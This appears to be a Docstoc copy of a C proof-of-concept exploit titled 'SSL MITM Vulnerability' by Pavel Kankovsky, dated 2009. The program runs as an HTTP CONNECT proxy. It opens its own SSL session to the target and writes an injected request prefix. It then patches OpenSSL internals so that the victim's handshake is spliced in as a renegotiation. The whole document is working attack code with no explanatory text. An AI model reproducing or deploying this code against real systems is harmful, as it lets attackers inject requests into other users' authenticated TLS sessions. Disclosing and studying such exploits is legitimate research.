SSL MITM Vulnerability

Document Sample
SSL MITM Vulnerability Powered By Docstoc
					                                               SSL MITM Vulnerability    Page 1/9
  1    #include   <errno.h>
  2    #include   <stdio.h>
  3    #include   <string.h>
  4    #include   <unistd.h>
  5    #include   <sys/time.h>
  6    #include   <sys/socket.h>
  7    #include   <netinet/in.h>
  8    #include   <arpa/inet.h>
  9    #include   <netdb.h>
  10   #include   <openssl/ssl.h>
  11   #include   <openssl/ssl3.h>
  12
  13   void
  14   fail(const char *proc)
  15   {
  16     perror(proc);
  17     exit(1);
  18   }
  19
  20   void
  21   setup_server
  22        (int *sock, int port)
  23   {
  24     struct sockaddr_in sa;
  25     int s, r, i;
  26
  27       s = socket(AF_INET, SOCK_STREAM, 0);
  28       if (s == −1)
  29         fail("setup_server:socket");
  30       i = 1;
  31       r = setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &i, sizeof(i));
  32       if (r == −1)
  33         fail("setup_server:setsockopt(SO_REUSEADDR)");
  34       memset(&sa, 0, sizeof(sa));
  35       sa.sin_family = AF_INET;
  36       sa.sin_addr.s_addr = INADDR_ANY;
  37       sa.sin_port = htons(port);
  38       r = bind(s, (struct sockaddr *) &sa, sizeof(sa));
  39       if (r == −1)
  40         fail("setup_server:bind");
  41       r = listen(s, 5);
  42       if (r == −1)
  43         fail("setup_server:listen");
  44       *sock = s;
  45   }
  46
  47   void
  48   do_accept
  49        (int *accepted, int sock)
  50   {
  51     struct sockaddr_in sa;
  52     socklen_t sl;
Pavel Kankovsky                                                          11/09/2009
                                                SSL MITM Vulnerability   Page 2/9
  53        int s;
  54
  55        sl = sizeof(sa);
  56        s = accept(sock, (struct sockaddr *) &sa, &sl);
  57        if (s == −1)
  58          fail("do_accept:accept");
  59        fprintf(stderr, "accepted %s:%d\n",
  60                inet_ntoa(sa.sin_addr), ntohs(sa.sin_port));
  61        *accepted = s;
  62    }
  63
  64    void
  65    setup_client
  66         (int *sock, in_addr_t ip, int port)
  67    {
  68      struct sockaddr_in sa;
  69      int s, r;
  70
  71        s = socket(AF_INET, SOCK_STREAM, 0);
  72        if (s == −1)
  73          fail("setup_server:socket");
  74        memset(&sa, 0, sizeof(sa));
  75        sa.sin_family = AF_INET;
  76        sa.sin_addr.s_addr = ip;
  77        sa.sin_port = htons(port);
  78        r = connect(s, (struct sockaddr *) &sa, sizeof(sa));
  79        if (r == −1)
  80          fail("setup_client:connect");
  81        *sock = s;
  82    }
  83
  84    int
  85    xread
  86        (int fd, unsigned char *buf, size_t len)
  87    {
  88      int r, rlen;
  89
  90        rlen = 0;
  91        while (len > 0) {
  92          r = read(fd, buf, len);
  93          if (r == 0)
  94            break;
  95          else if (r == −1)
  96            return −1;
  97          buf += r;
  98          len −= r;
  99          rlen += r;
  100       }
  101       return rlen;
  102   }
  103
  104   struct ssl_io_t
Pavel Kankovsky                                                          11/09/2009
                                              SSL MITM Vulnerability              Page 3/9
  105   {
  106       SSL *ssl;
  107       int fd;
  108       int raw;
  109   };
  110
  111   extern int
  112   ssl3_read_bytes
  113       (SSL *s, int type, unsigned char *buf, int len, int peek);
  114
  115   int
  116   rec_read
  117       (struct ssl_io_t *io, unsigned char *buf)
  118   {
  119     int r, l;
  120
  121   #if 0
  122     fprintf(stderr, "rec read %s\n",
  123              io−>raw & 1 ? "raw" : "cooked");
  124   #endif
  125     if (io−>raw & 1) {
  126       r = xread(io−>fd, buf, 5);
  127       if (r == 0)
  128          return 0;
  129       else if (r != 5)
  130          fail("rec_read:read1");
  131       if (buf[0] != 0x80)
  132          l = (buf[3] << 8) + buf[4];
  133       else /* ssl2 hack */
  134          /* fail("rec_read:ssl2"); */
  135          l = (buf[1]) − 3;
  136       if (l < 0 || l > (1 << 15)) {
  137          errno = EINVAL;
  138          fail("rec_read:reclen");
  139       }
  140       r = xread(io−>fd, buf + 5, l);
  141       if (r != l)
  142          fail("rec_read:read2");
  143       l += 5;
  144       return l;
  145     }
  146     else {
  147       r = ssl3_read_bytes(io−>ssl, SSL3_RT_HANDSHAKE, buf + 5, 1<<15, 0);
  148       if (r == 0)
  149          return 0;
  150       else if (r < 0) {
  151          if (io−>ssl−>s3−>change_cipher_spec) {
  152            buf[0] = 0x14;
  153            buf[1] = (io−>ssl−>version >> 8);
  154            buf[2] = (io−>ssl−>version & 0xff);
  155            buf[3] = 0;
  156            buf[4] = 1;
Pavel Kankovsky                                                                   11/09/2009
                                                      SSL MITM Vulnerability   Page 4/9
  157               buf[5] = 1;
  158               io−>raw |= 1;
  159               io−>ssl−>s3−>change_cipher_spec = 0;
  160               return 6;
  161             }
  162             fail("rec_read:ssl3_read_bytes");
  163           }
  164           l = r;
  165           buf[0]   =   io−>ssl−>s3−>rrec.type;
  166           buf[1]   =   (io−>ssl−>version >> 8);
  167           buf[2]   =   (io−>ssl−>version & 0xff);
  168           buf[3]   =   (l >> 8);
  169           buf[4]   =   (l & 0xff);
  170           return   l   + 5;
  171       }
  172   }
  173
  174   extern int
  175   ssl3_write_bytes
  176       (SSL *s, int type, const void *buf_, int len);
  177
  178   void
  179   rec_write
  180        (struct ssl_io_t *io, unsigned char *buf, size_t len)
  181   {
  182     int r;
  183
  184   #if 0
  185     fprintf(stderr, "rec write %s\n",
  186              io−>raw & 2 ? "raw" : "cooked");
  187   #endif
  188     if (io−>raw & 2) {
  189       r = write(io−>fd, buf, len);
  190       if (r != len)
  191          fail("rec_write:write");
  192     }
  193     else {
  194       r = ssl3_write_bytes(io−>ssl, buf[0], buf + 5, len − 5);
  195       if (r < 0) {
  196         fail("rec_read:ssl3_write_bytes");
  197       }
  198       if (buf[0] == 0x14) {
  199         io−>raw |= 2;
  200       }
  201     }
  202   }
  203
  204   void
  205   ssl_io
  206        (struct ssl_io_t *assl, struct ssl_io_t *cssl)
  207   {
  208     struct ssl_io_t *ssls[2];
Pavel Kankovsky                                                                11/09/2009
                                                SSL MITM Vulnerability    Page 5/9
  209       int maxfd, active;
  210       int i, r, l;
  211       fd_set rfd;
  212       unsigned char buf[1 << 16];
  213
  214       ssls[0] = assl;
  215       ssls[1] = cssl;
  216       active = 3;
  217       maxfd = 0;
  218       for (i = 0; i < 2; i++)
  219         if (ssls[i]−>fd >= maxfd)
  220           maxfd = ssls[i]−>fd + 1;
  221
  222       while (active) {
  223         FD_ZERO(&rfd);
  224         for (i = 0; i < 2; i++)
  225           if (active & (1 << i))
  226             FD_SET(ssls[i]−>fd, &rfd);
  227         r = select(maxfd, &rfd, NULL, NULL, NULL);
  228         if (r == −1)
  229           fail("rec_io:select");
  230         for (i = 0; i < 2; i++) {
  231           if (active & (1 << i) && FD_ISSET(ssls[i]−>fd, &rfd)) {
  232             r = rec_read(ssls[i], buf);
  233             if (r == 0) {
  234               shutdown(ssls[i]−>fd, SHUT_RD);
  235               shutdown(ssls[1 − i]−>fd, SHUT_WR);
  236               active &= ~(1 << i);
  237               continue;
  238             }
  239             l = r;
  240             rec_write(ssls[1 − i], buf, l);
  241           }
  242         }
  243       }
  244   }
  245
  246   void
  247   setup_ssl_ctx
  248        (SSL_CTX **ctx)
  249   {
  250     OpenSSL_add_ssl_algorithms();
  251     SSL_load_error_strings();
  252     *ctx = SSL_CTX_new(SSLv3_client_method());
  253     if (!*ctx)
  254        fail("setup_ssl_ctx:SSL_CTX_new");
  255   }
  256
  257   void
  258   setup_ssl_io
  259        (struct ssl_io_t *io, SSL_CTX *ctx, int sock, int raw)
  260   {
Pavel Kankovsky                                                           11/09/2009
                                                        SSL MITM Vulnerability                              Page 6/9
  261       SSL *ssl;
  262       BIO *bio;
  263
  264       ssl = SSL_new(ctx);
  265       if (!ssl)
  266         fail("setup_ssl_ctx:SSL_new");
  267       bio = BIO_new_socket(sock, BIO_NOCLOSE);
  268       if (!bio)
  269         fail("setup_ssl_ctx:BIO_new_socket");
  270       SSL_set_bio(ssl, bio, bio);
  271       SSL_set_connect_state(ssl);
  272       io−>ssl = ssl;
  273       io−>fd = sock;
  274       io−>raw = raw;
  275   }
  276
  277   int
  278   bogus_change_cipher_state
  279       (SSL *ssl, int i)
  280   {
  281     return 0;
  282   }
  283
  284   /* stolen from ssl_locl.h */
  285   typedef struct ssl3_enc_method {
  286     int (*enc)(SSL *, int);
  287     int (*mac)(SSL *, unsigned char *, int);
  288     int (*setup_key_block)(SSL *);
  289     int (*generate_master_secret)(SSL *, unsigned char *, unsigned char *, int);
  290     int (*change_cipher_state)(SSL *, int);
  291     int (*final_finish_mac)(SSL *, EVP_MD_CTX *, EVP_MD_CTX *, const char *, int, unsigned char *);
  292     int finish_mac_length;
  293     int (*cert_verify_mac)(SSL *, EVP_MD_CTX *, unsigned char *);
  294     const char *client_finished_label;
  295     int client_finished_label_len;
  296     const char *server_finished_label;
  297     int server_finished_label_len;
  298     int (*alert_value)(int);
  299   } SSL3_ENC_METHOD;
  300
  301   #define TRICK "GET /ble HTTP/1.0\r\nX−Blah: "
  302
  303   void
  304   hack_ssl
  305        (struct ssl_io_t *assl, struct ssl_io_t *cssl)
  306   {
  307     int r, l;
  308     unsigned char buf[1 << 16];
  309     SSL_METHOD *mth;
  310
  311       r = rec_read(assl, buf);
  312       if (r <= 0)
Pavel Kankovsky                                                                                             11/09/2009
                                                      SSL MITM Vulnerability   Page 7/9
  313         fail("hack_ssl:rec_read:no i/o");
  314       l = r;
  315
  316       if (buf[0] == 0x16 && buf[1] == 3 &&
  317           (buf[2] == 0 || buf[2] == 1)) {
  318         cssl−>raw = 0;
  319         r = SSL_CTX_set_ssl_version
  320              (cssl−>ssl−>ctx, buf[2] == 0 ?
  321               SSLv3_client_method() : TLSv1_client_method());
  322         if (r != 1)
  323           fail("hack_ssl:SSL_CTX_set_ssl_version");
  324         r = SSL_clear(cssl−>ssl);
  325         if (r != 1)
  326           fail("hack_ssl:SSL_clear");
  327         r = SSL_connect(cssl−>ssl);
  328         if (r != 1)
  329           fail("hack_ssl:SSL_connect");
  330         /* ssl3_setup_buffers(io−>ssl);
  331            ssl_get_new_session(io−>ssl, 0); */
  332         r = SSL_write(cssl−>ssl, TRICK, sizeof(TRICK)−1);
  333         if (r != sizeof(TRICK)−1)
  334           fail("hack_ssl:SSL_connect");
  335         cssl−>ssl−>in_handshake++;
  336         cssl−>ssl−>method−>ssl3_enc−>change_cipher_state =
  337              bogus_change_cipher_state;
  338       }
  339       else {
  340         /* schedule suicide */
  341         alarm(5);
  342       }
  343
  344       rec_write(cssl, buf, l);
  345   }
  346
  347   #define HTTP_OK "HTTP/1.0 200 Connected\r\n\r\n"
  348
  349   void
  350   handle_http_req
  351        (int sock, in_addr_t *ip, int *port)
  352   {
  353     int r, l, k;
  354     unsigned char buf[1 << 16];
  355     char str[100];
  356     unsigned short num;
  357     struct hostent *he;
  358
  359       l = 0;
  360       for (;;) {
  361         r = read(sock, buf + l, sizeof(buf)−1 − l);
  362         if (r <= 0)
  363           fail("handle_http_req:read");
  364         for (k = l; r > 0; ++k, −−r)
Pavel Kankovsky                                                                11/09/2009
                                                   SSL MITM Vulnerability   Page 8/9
  365             if (buf[k] != ’\r’)
  366               buf[l++] = buf[k];
  367           if (l >= 2 && buf[l−1] == ’\n’ && buf[l−2] == ’\n’)
  368             break;
  369           if (l >= sizeof(buf)−1)
  370             fail("handle_http_req:req too big");
  371       }
  372
  373       buf[l] = ’\0’;
  374       r = sscanf(buf, "CONNECT %99[0−9A−Za−z.−]:%hu", str, &num);
  375       if (r != 2)
  376         fail("handle_http_req:bad request");
  377       he = gethostbyname(str);
  378       if (he == NULL || he−>h_length != sizeof(in_addr_t))
  379         fail("handle_http_req:gethostbyname");
  380
  381       r = write(sock, HTTP_OK, sizeof(HTTP_OK)−1);
  382       if (r != sizeof(HTTP_OK)−1)
  383         fail("handle_http_req:write");
  384
  385       *ip = *(in_addr_t *)(he−>h_addr_list[0]);
  386       *port = num;
  387   }
  388
  389   int
  390   main
  391           (int argc, const char **argv)
  392   {
  393       pid_t pid;
  394       int ssock, asock, csock;
  395       SSL_CTX *ctx;
  396       in_addr_t ip;
  397       int port;
  398       struct ssl_io_t assl, cssl;
  399
  400       setup_ssl_ctx(&ctx);
  401       setup_server(&ssock, atoi(argv[1]));
  402       for (;;) {
  403         do_accept(&asock, ssock);
  404         pid = fork();
  405         if (pid == −1)
  406           fail("main:fork");
  407         else if (pid == 0) {
  408           close(ssock);
  409           handle_http_req(asock, &ip, &port);
  410           setup_client(&csock, ip, port);
  411           setup_ssl_io(&assl, ctx, asock, 3);
  412           setup_ssl_io(&cssl, ctx, csock, 3);
  413           hack_ssl(&assl, &cssl);
  414           ssl_io(&assl, &cssl);
  415           return 0;
  416         }
Pavel Kankovsky                                                             11/09/2009
                                  SSL MITM Vulnerability   Page 9/9
  417           else {
  418             close(asock);
  419           }
  420       }
  421   }




Pavel Kankovsky                                            11/09/2009

				
DOCUMENT INFO